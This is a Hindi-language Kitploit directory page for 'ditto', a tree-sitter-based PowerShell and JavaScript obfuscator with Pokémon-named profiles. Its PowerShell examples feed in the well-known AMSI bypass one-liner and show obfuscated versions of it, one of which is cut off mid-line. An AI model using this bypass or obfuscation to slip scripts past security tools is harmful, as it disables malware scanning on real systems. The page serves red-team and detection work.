Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ditto — PowerShell और JavaScript स्क्रिप्ट्स को tree-sitter-आधारित पार्सिंग का उपयोग करके अस्पष्ट (obfuscate) करता है, जिसमें चुपके (stealth), आकार (size), और रिवर्सिंग कठिनाई (reversing difficulty) के लिए कई कॉन्फ़िगर करने योग्य impostor प्रोफाइल शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/airbus-cert/ditto
कोड विश्लेषणरिवर्स इंजीनियरिंगस्क्रिप्टिंग और स्वचालनमालवेयर विश्लेषणपेलोड डेवलपमेंट
GitHubairbus-cert/ditto

ditto

PowerShell और JavaScript स्क्रिप्ट्स को tree-sitter-आधारित पार्सिंग का उपयोग करके अस्पष्ट (obfuscate) करता है, जिसमें चुपके (stealth), आकार (size), और रिवर्सिंग कठिनाई (reversing difficulty) के लिए कई कॉन्फ़िगर करने योग्य impostor प्रोफाइल शामिल हैं।

रिपॉजिटरी देखें
2523 दिन पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

ditto


पॉवरशेल ऑबफस्केटर

Ditto एक पॉवरशेल और जावास्क्रिप्ट ऑबफस्केटर है जो tree-sitter-powershell और tree-sitter-javascript पर आधारित है।

कमांड लाइन उपयोग

मूल कमांड संरचना

ditto-cli [options]

CLI तर्क और विकल्प

Short OptionLong OptionDescription
-h--helpसहायता जानकारी प्रदर्शित करें और बाहर निकलें।
-v--versionसंस्करण जानकारी प्रदर्शित करें और बाहर निकलें।
-p --path प्रोसेस करने के लिए स्क्रिप्ट फ़ाइल का पथ।
-i --impostor ऑबफस्केशन के लिए उपयोग करने हेतु इम्पोस्टर प्रोफ़ाइल (केस-असंवेदनशील)।
-L--listसभी उपलब्ध इम्पोस्टर प्रोफ़ाइल सूचीबद्ध करें।
-t--timeऑबफस्केशन प्रक्रिया में लिया गया गणना समय दिखाएं।
-d --debug-level डीबग स्तर। विकल्प: off, error, warn, info, debug, trace (डिफ़ॉल्ट: info)।
-q--quietकेवल अंतिम ऑबफस्केटेड स्क्रिप्ट आउटपुट करें, अन्य सभी लॉग दबाएं।

समर्थित भाषाएँ और इम्पोस्टर

प्रत्येक भाषा विशिष्ट, पोकेमॉन-थीम वाले इम्पोस्टर के साथ आती है। इम्पोस्टर एक नामित रेसिपी है जो कई ऑबफस्केशन पासों को एक साथ जोड़ती है। प्रत्येक तकनीकों के विभिन्न मिश्रण को प्राथमिकता देता है, इसलिए दो इम्पोस्टर द्वारा ऑबफस्केट की गई एक ही स्क्रिप्ट बिल्कुल अलग दिखती है। वह चुनें जिसका व्यापार-बंद (चुपके, आकार, पठनीयता, रिवर्सिंग कठिनाई) आपकी आवश्यकताओं के अनुरूप हो।

पॉवरशेल

जावास्क्रिप्ट

अपने शेल से सीधे सभी उपलब्ध इम्पोस्टर सूचीबद्ध करें:

root@kitploit:~
ditto-cli --list

अपना खुद का जोड़ने में संकोच न करें! और फिर आप जो चाहें उसे लागू कर सकते हैं।

उदाहरण

पॉवरशेल ट्रांसफॉर्मेशन (Ivysaur इम्पोस्टर)

मूल पॉवरशेल स्क्रिप्ट:

root@kitploit:~
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)

ऑबफस्केशन कमांड:

root@kitploit:~
ditto-cli --path test.ps1 --impostor ivysaur

ऑबफस्केटेड आउटपुट:

root@kitploit:~
${Set-mK6} = 1; ${Add-xjQ} = 12; ${Remove-ScJ} = 8; ${Find-V7v} = 7; ${Get-wCX} = 4; ${Set-JEp} = 9; ${Add-3eV} = 16; ${Remove-pIQ} = 52; ${Find-OHR} = 24; ${Get-r4u} = 9076; ${Set-t49} = 89; ${Add-Qvs} = 87; ${Remove-qwO} = 49; ${Find-SMs} = 122; ${Get-wUj} = 97; ${Set-Ox3} = 86; ${Add-VQ5} = 78; ${Remove-EeM} = 108; ${Find-gzG} = 99; ${Get-LGX} = 51; ${Set-X5g} = 112; ${Add-GD5} = 98; ${Remove-aho} = 50; ${Find-3Zs} = 61; ${Get-ihU} = 85; ${Set-nKM} = 100; ${Add-GWd} = 71; ${Remove-Tvm} = 116; ${Find-7ba} = 76; ${Get-oeb} = 107; ${Set-Vxt} = 104; ${Add-rmz} = 109; ${Remove-Fsk} = 70; ${Find-jz5} = 110; ${Get-2TD} = 90; ${Set-TIQ} = 81; ${Add-Ru7} = 117; ${Remove-4HR} = 88; ${Find-T8S} = 48; ${Get-n8s} = 118; ${Set-mmg} = 105; ${Add-PZ1} = 53; ${Remove-xzI} = 66; ${Find-LRq} = 82; ${Get-MFU} = 72; ${Set-W0e} = 77; ${Add-bvf} = 84; ${Remove-3nx} = 57; ${Find-e43} = 106; ${Get-88G} = 119; $f8XP9 = [System.Runtime.InteropServices.Marshal]; $ifXoW = [Ref]; $lgnLf = [System.Text.Encoding]; $Knr3E = [System.Convert]; ${Set-cfudY9iG} = -join 'labolGHcollA'[-${Set-mK6}..-${Add-xjQ}]; ${Add-q3RPK0Xu} = -join 'ylbmessA'[-${Set-mK6}..-${Remove-ScJ}]; ${Remove-50AhxHbh} = -join 'epyTteG'[-${Set-mK6}..-${Find-V7v}]; ${Find-VOSaUhQS} = -join '8FTU'[-${Set-mK6}..-${Get-wCX}]; ${Get-w0xewYE7} = -join 'gnirtSteG'[-${Set-mK6}..-${Set-JEp}]; ${Set-2rZQYi7O} = -join 'gnirtS46esaBmorF'[-${Set-mK6}..-${Add-3eV}]; ${Add-nottCZwE} = -join '=MHbpRXVpNXbB5ibvlGdh12b0VXQuQnbl1WZnFmbh1kLtVGdzl3U'[-${Set-mK6}..-${Remove-pIQ}]; ${Remove-b45sz9Zn} = -join 'dleiFteG'[-${Set-mK6}..-${Remove-ScJ}]; ${Find-mUeEbv73} = -join '==wYpRXY0NFLjlGbiVHUu9mT'[-${Set-mK6}..-${Find-OHR}]; ${Get-hbkDceRb} = -join 'eulaVteS'[-${Set-mK6}..-${Remove-ScJ}]; ${Set-1zjqeqJt} = -join '=QHelRnbvNUaz1WY'[-${Set-mK6}..-${Add-3eV}]; $mem = $f8XP9::${Set-cfudY9iG}(${Get-r4u});$ifXoW.${Add-q3RPK0Xu}.${Remove-50AhxHbh}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Add-nottCZwE})))).${Remove-b45sz9Zn}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Set-t49} + [char]${Add-Qvs} + [char]${Remove-qwO} + [char]${Find-SMs} + [char]${Get-wUj} + [char]${Set-Ox3} + [char]${Add-VQ5} + [char]${Remove-EeM} + [char]${Find-gzG} + [char]${Get-LGX} + [char]${Add-VQ5} + [char]${Set-X5g} + [char]${Add-GD5} + [char]${Remove-aho} + [char]${Remove-pIQ} + [char]${Find-3Zs})))), ($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Find-mUeEbv73})))).${Get-hbkDceRb}($null, $null);$ifXoW.${Add-q3RPK0Xu}.${Remove-50AhxHbh}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Get-ihU} + [char]${Get-LGX} + [char]${Remove-EeM} + [char]${Find-SMs} + [char]${Set-nKM} + [char]${Add-GWd} + [char]${Set-Ox3} + [char]${Remove-Tvm} + [char]${Find-7ba} + [char]${Get-oeb} + [char]${Remove-qwO} + [char]${Set-Vxt} + [char]${Add-GD5} + [char]${Add-rmz} + [char]${Remove-Fsk} + [char]${Find-jz5} + [char]${Get-2TD} + [char]${Add-Qvs} + [char]${Remove-qwO} + [char]${Remove-EeM} + [char]${Add-GD5} + [char]${Find-jz5} + [char]${Set-TIQ} + [char]${Add-Ru7} + [char]${Set-TIQ} + [char]${Remove-4HR} + [char]${Set-Ox3} + [char]${Find-T8S} + [char]${Add-GD5} + [char]${Remove-aho} + [char]${Remove-qwO} + [char]${Set-Vxt} + [char]${Set-nKM} + [char]${Add-GWd} + [char]${Remove-EeM} + [char]${Get-n8s} + [char]${Add-GD5} + [char]${Set-mmg} + [char]${Add-PZ1} + [char]${Remove-xzI} + [char]${Add-GD5} + [char]${Remove-4HR} + [char]${Add-VQ5} + [char]${Set-X5g} + [char]${Set-Ox3} + [char]${Remove-4HR} + [char]${Find-LRq} + [char]${Set-X5g} + [char]${Add-GD5} + [char]${Get-MFU} + [char]${Set-W0e} + [char]${Find-3Zs}))))).${Remove-b45sz9Zn}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Set-1zjqeqJt}))), ($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Add-bvf} + [char]${Add-rmz} + [char]${Remove-3nx} + [char]${Add-Ru7} + [char]${Get-ihU} + [char]${Get-MFU} + [char]${Set-Ox3} + [char]${Set-mmg} + [char]${Add-GD5} + [char]${Add-GWd} + [char]${Remove-EeM} + [char]${Find-e43} + [char]${Find-7ba} + [char]${Remove-Fsk} + [char]${Add-VQ5} + [char]${Find-T8S} + [char]${Set-t49} + [char]${Remove-4HR} + [char]${Find-LRq} + [char]${Set-X5g} + [char]${Set-t49} + [char]${Get-88G} + [char]${Find-3Zs} + [char]${Find-3Zs}))))).${Get-hbkDceRb}($null, [IntPtr]$mem)

जावास्क्रिप्ट ट्रांसफॉर्मेशन (Tinkatuff इम्पोस्टर)

मूल JS स्क्रिप्ट:

root@kitploit:~
function greet(user) {
    console.log("Hello, " + user + "!");
}

greet("World");

ऑबफस्केशन कमांड:

root@kitploit:~
ditto-cli --path test.js --impostor Tinkatuff

ऑबफस्केटेड आउटपुट:

root@kitploit:~
function \u0067\u0072\u0065e\u0074(\u0075\u0073\u0065\u0072) {
    \u0063\u006F\u006E\u0073\u006Fle[\u0061\u0074\u006F\u0062((\u0053\u0074r\u0069\u006E\u0067('\x62\u0047') + '\x39\x52\u{00000039}h\u0041\u0062\u{000037}\u003739\x6E\u{0000033}\u0036n'.\u0072\u0065\u0070\u006C\u0061c\u0065\u0041l\u006C(/R9hAb\d{3}9n36/g, '')))](de\u0063\u006F\u0064\u0065\u0055\u0052I\u0043o\u006Dp\u006F\u006E\u0065n\u0074((\u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061\u0077`%48` + '\u{00000025}\x0D\n'.\u0074\u0072im\u0045\u006E\u0064() + ['6\u{000035}', '\x25'].\u006Aoi\u006E('') + '\x36'.\u0074\u006F\u0053\u0074\u0072i\u006E\u0067() + '\u{0000043}%\u0036' + ''.\u006C\u0069n\u006B('C\u0025\x36').\u0073\u006C\u0069\u0063e(9, -6) + new \u0053\u0074\u0072\u0069\u006E\u0067('\u0046\u0025').\u0076\u0061\u006C\u0075\u0065O\u0066() + '\r\u{000000A}\u0032C\x25\u{00000D}\t'.\u0074\u0072\u0069\u006D() + '20'.\u0074r\u0069\u006D\u0045\u006E\u0064())) + \u0075\u0073\u0065\u0072 + \u0064\u0065c\u006F\u0064\u0065\u0055\u0052I((\u0053\u0074r\u0069\u006E\u0067.r\u0061\u0077`%` + '\n\u0020\u{00000020}\x321'.\u0074\u0072\u0069\u006D\u0053tar\u0074())));
}

\u0067\u0072eet(\u0064\u0065c\u006F\u0064\u0065\u0055RI\u0043\u006Fm\u0070\u006Fn\u0065\u006E\u0074(('\u{0000025}\u{0000035}' + '\u{00000037}\u{00025}\n\x0A\u0009\u000A'.t\u0072\u0069\u006D\u0045n\u0064() + '6\u0046%' + \u0053\u0074\u0072\u0069\u006E\u0067.\u0066\u0072\u006F\u006DCh\u0061\u0072\u0043\u006Fd\u0065(55) + '\u{000032}'.\u0062\u0069\u0067().sl\u0069\u0063\u0065(5, -6) + \u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061w`%6` + '\u{000043}' + \u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061\u0077`%6` + '4')));

Ditto के साथ चयनात्मक ऑबफस्केशन

Ditto इम्पोस्टर पूरी फ़ाइल को ऑबफस्केट नहीं करता। यह # ditto(<engine>) फॉर्म की निर्देश टिप्पणियों को देखता है और नामित इंजन को टिप्पणी के ठीक बाद वाले एकल स्टेटमेंट पर लागू करता है। बाकी सब कुछ अछूता रहता है, और निर्देश टिप्पणी स्वयं आउटपुट से हटा दी जाती है। यह तब उपयोगी होता है जब आप केवल स्क्रिप्ट के संवेदनशील हिस्सों को छिपाना चाहते हैं, या एक फ़ाइल में कई इंजन मिश्रित करना चाहते हैं।

मूल पॉवरशेल स्क्रिप्ट:

root@kitploit:~
Write-Host "starting"

# ditto(pikachu)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)

Write-Host "done"

ऑबफस्केशन कमांड:

root@kitploit:~
ditto-cli --path test.ps1 --impostor ditto

ऑबफस्केटेड आउटपुट:

root@kitploit:~
Write-Host "starting"

$WRL6c=109;$DDjV=56;$pjWqV8=86;$r8cnDa=108;$wAD=101;$xtYSTM=50;$IHnFn=51;$787F0=122;$qWcmH0=65;$LgjuIE=77;$ial=52;$kVfXz=103;$gI9H6=104;$E3qM=97;$4Tr4=105;$empCP=117;$KA4XB=89;$TeXxjO=53;$t7IyYw=54;$ogg=114;$pDD=57;$dQXaf=81;$iTBnE=61;$IBf=48;$GUy=71;$cbVM=110;$biGF=85;$Z7Pn=106;$vcF=87;$oqzy3=72;$37C=118;$suPWLN=112;$1Ywq0M=83;$KI9h=119;$B3fd=70;$IScvzV=90;$oveAB=88;$p6TMv=84;$zj7E=98;$wUzL=111;$ToF=107;$Sd0Ozk=100;$AtZ=49;$qeyQOw=121;$NAX=115;$QsySk=82;$Zqk=66;$QYl36=78;$LHhAV=76;$DJp=116;$Rz89sj=([char]$KA4XB+[char]$vcF+[char]$AtZ+[char]$787F0+[char]$E3qM+[char]$biGF+[char]$r8cnDa+[char]$empCP+[char]$E3qM+[char]$oveAB+[char]$QsySk+[char]$GUy+[char]$KA4XB+[char]$vcF+[char]$r8cnDa+[char]$NAX+[char]$IScvzV+[char]$vcF+[char]$dQXaf+[char]$iTBnE);$TNP=([char]$qWcmH0+[char]$NAX+[char]$NAX+[char]$wAD+[char]$WRL6c+[char]$zj7E+[char]$r8cnDa+[char]$qeyQOw);$rF2B=([char]$biGF+[char]$p6TMv+[char]$B3fd+[char]$DDjV);$0xJaev=([char]$GUy+[char]$wAD+[char]$DJp+[char]$p6TMv+[char]$qeyQOw+[char]$suPWLN+[char]$wAD);$vpg=([char]$B3fd+[char]$ogg+[char]$wUzL+[char]$WRL6c+[char]$Zqk+[char]$E3qM+[char]$NAX+[char]$wAD+[char]$t7IyYw+[char]$ial+[char]$1Ywq0M+[char]$DJp+[char]$ogg+[char]$4Tr4+[char]$cbVM+[char]$kVfXz);$ISW=([char]$p6TMv+[char]$WRL6c+[char]$pDD+[char]$empCP+[char]$biGF+[char]$oqzy3+[char]$pjWqV8+[char]$4Tr4+[char]$zj7E+[char]$GUy+[char]$r8cnDa+[char]$Z7Pn+[char]$LHhAV+[char]$B3fd+[char]$QYl36+[char]$IBf+[char]$KA4XB+[char]$oveAB+[char]$QsySk+[char]$suPWLN+[char]$KA4XB+[char]$KI9h+[char]$iTBnE+[char]$iTBnE);$wiiSIm=([char]$biGF+[char]$IHnFn+[char]$r8cnDa+[char]$787F0+[char]$Sd0Ozk+[char]$GUy+[char]$pjWqV8+[char]$DJp+[char]$LHhAV+[char]$ToF+[char]$AtZ+[char]$gI9H6+[char]$zj7E+[char]$WRL6c+[char]$B3fd+[char]$cbVM+[char]$IScvzV+[char]$vcF+[char]$AtZ+[char]$r8cnDa+[char]$zj7E+[char]$cbVM+[char]$dQXaf+[char]$empCP+[char]$dQXaf+[char]$oveAB+[char]$pjWqV8+[char]$IBf+[char]$zj7E+[char]$xtYSTM+[char]$AtZ+[char]$gI9H6+[char]$Sd0Ozk+[char]$GUy+[char]$r8cnDa+[char]$37C+[char]$zj7E+[char]$4Tr4+[char]$TeXxjO+[char]$Zqk+[char]$zj7E+[char]$oveAB+[char]$QYl36+[char]$suPWLN+[char]$pjWqV8+[char]$oveAB+[char]$QsySk+[char]$suPWLN+[char]$zj7E+[char]$oqzy3+[char]$LgjuIE+[char]$iTBnE);$en3=([char]$GUy+[char]$wAD+[char]$DJp+[char]$B3fd+[char]$4Tr4+[char]$wAD+[char]$r8cnDa+[char]$Sd0Ozk);$rlIe=([char]$1Ywq0M+[char]$wAD+[char]$DJp+[
टूल डाउनलोड करें
ImpostorWhat it does
Pikachuसर्व-उद्देश्यीय शुभंकर। लिटरल को स्टैटिक स्ट्रिंग्स में बदलता है, cmdlets और टाइप सदस्यों को स्ट्रिंग्स के रूप में फिर से लिखता है, स्ट्रिंग्स को Base64-एन्कोड करता है, इनलाइन मॉड्यूलो/हेक्सलिफाई के साथ पूर्णांकों को विभाजित करता है, और वेरिएबल्स को यादृच्छिक रूप से नाम बदलता है। एक संतुलित डिफ़ॉल्ट।
Bulbasaurप्रवेश-स्तर का स्टार्टर। स्ट्रिंग/cmdlet/सदस्य पुनर्लेखन, Base64 एन्कोडिंग, यादृच्छिक वेरिएबल नाम, और रिवर्स-मॉड्यूलो ट्रिक के माध्यम से पुनर्निर्मित पूर्णांक। हल्का और पठनीय-सा।
IvysaurBulbasaur का विकास। समान आधार रेसिपी लेकिन वेरिएबल्स का नाम पॉवरशेल क्रियाओं के नाम पर रखा गया है (${Set-...}, ${Add-...}, ${Remove-...}) ताकि वैध कोड के साथ घुल-मिल जाएं, साथ ही इनलाइन हेक्सलिफाई और मॉड्यूलो-रिवर्स पूर्णांक।
Charizardभारी हिटर। स्टैटिक स्ट्रिंग्स, Base64, यादृच्छिक इनलाइन मॉड्यूलो/हेक्सलिफाई, सदस्य-के-रूप में स्ट्रिंग, मॉड्यूलो-रिवर्स पूर्णांक, और आक्रामक ऑबफस्केशन के लिए यादृच्छिक वेरिएबल नाम और प्रकार एक साथ जोड़े गए।
Alakazamगणित का दिमाग। प्रत्येक बूलियन और पूर्णांक को अंकगणितीय अभिव्यक्तियों में पूर्व-गणना करता है, इनवोकेशन अभिव्यक्तियों को अलग करता है, और cmdlets, सदस्यों और प्रकारों को स्ट्रिंग्स में बदल देता है। घना, अभिव्यक्ति-भारी आउटपुट उत्पन्न करता है।
Onixऐरे विशेषज्ञ। टोकन को स्थिर ऐरे में संग्रहीत करता है, उन्हें फेरबदल करता है, foreach के माध्यम से हेक्सलिफाई करता है, और रनटाइम पर मूल्यांकित XOR/add अंकगणित के माध्यम से प्रत्येक पूर्णांक का पुनर्निर्माण करता है।
Eeveeनाम बदलने वाला। सभी फ़ंक्शन, पैरामीटर और वेरिएबल्स को यादृच्छिक रूप से नाम बदलता है, cmdlets/सदस्यों को स्ट्रिंग्स के रूप में फिर से लिखता है, और वाइल्डकार्ड मास्किंग के साथ UUID-शैली और क्रिया-शैली के नाम निर्दिष्ट करता है। पहचानकर्ता ऑबफस्केशन पर केंद्रित।
Dittoनकलची — एक मेटा-इम्पोस्टर। पूरी फ़ाइल को बदलने के बजाय, यह स्रोत में # ditto(<engine>) टिप्पणियों को स्कैन करता है और नामित इंजन को केवल उस स्टेटमेंट पर लागू करता है जो टिप्पणी के तुरंत बाद आता है। यह आपको एक ही स्क्रिप्ट के भीतर इम्पोस्टर मिश्रित करने की अनुमति देता है। देखें Ditto के साथ चयनात्मक ऑबफस्केशन।
ImpostorWhat it does
Tinkatuffसर्व-उद्देश्यीय डिफ़ॉल्ट। सदस्य एक्सेस को सबस्क्रिप्ट के रूप में फिर से लिखता है, कभी-कभी अभिव्यक्तियों को switch/if-else में बदलता है, संख्याओं को गणितीय अभिव्यक्तियों में बदलता है, और स्ट्रिंग्स और पहचानकर्ताओं को एन्कोड/विभाजित/एस्केप करता है। कवरेज और आकार का अच्छा संतुलन।
Unownप्रतीक सिफर। JSFuck-शैली की तरकीबों के साथ संख्याओं, स्ट्रिंग्स, बूलियन्स, विशेष और डिफ़ॉल्ट ऑब्जेक्ट्स को एन्कोड करता है और केवल $ और _ का उपयोग करके पहचानकर्ताओं का नाम बदलता है। आउटपुट लगभग अपठनीय है।
Metagross"रुको, यह सब संख्याएँ हैं?" स्ट्रिंग्स को fromCharCode में बदलता है, प्रत्येक संख्या को एक अभिव्यक्ति के रूप में फिर से लिखता है, और सभी पहचानकर्ताओं को संख्या-जैसे नामों में बदल देता है। आउटपुट लगभग पूरी तरह से अंकों से बना है।
Wailordव्हेल। एक विशाल आउटपुट उत्पन्न करता है (औसत विस्तार अनुपात ~4643x)। केवल छोटी स्क्रिप्ट पर उपयोग करें — यह बबल-नामित पहचानकर्ता, स्ट्रिंग विभाजन, JSFuck संख्याएँ और ऐरे ट्रांसफॉर्म को जोड़ता है।
Clefableजुआरी। सभी उपलब्ध पासों में से यादृच्छिक रूप से चुनता है ताकि आपको अपेक्षाकृत "छोटा" आउटपुट मिले जो फिर भी हर प्रकार की सुरक्षा रखता है। एक रिवर्सर को हर संभव पास से निपटना होगा। क्योंकि पास यादृच्छिक रूप से चुने जाते हैं और हस्तक्षेप कर सकते हैं, आपको इसे कुछ बार चलाने की आवश्यकता हो सकती है।
Cofagrigusकब्र। पहचानकर्ताओं को मिस्र के चित्रलिपि नामों से नाम बदलता है, स्ट्रिंग्स को एन्कोड करता है, संख्याओं को अभिव्यक्तियों के रूप में फिर से लिखता है, और स्ट्रिंग/संख्या "श्राप" ट्रांसफॉर्म लागू करता है। भयानक, घना और पढ़ने में कठिन।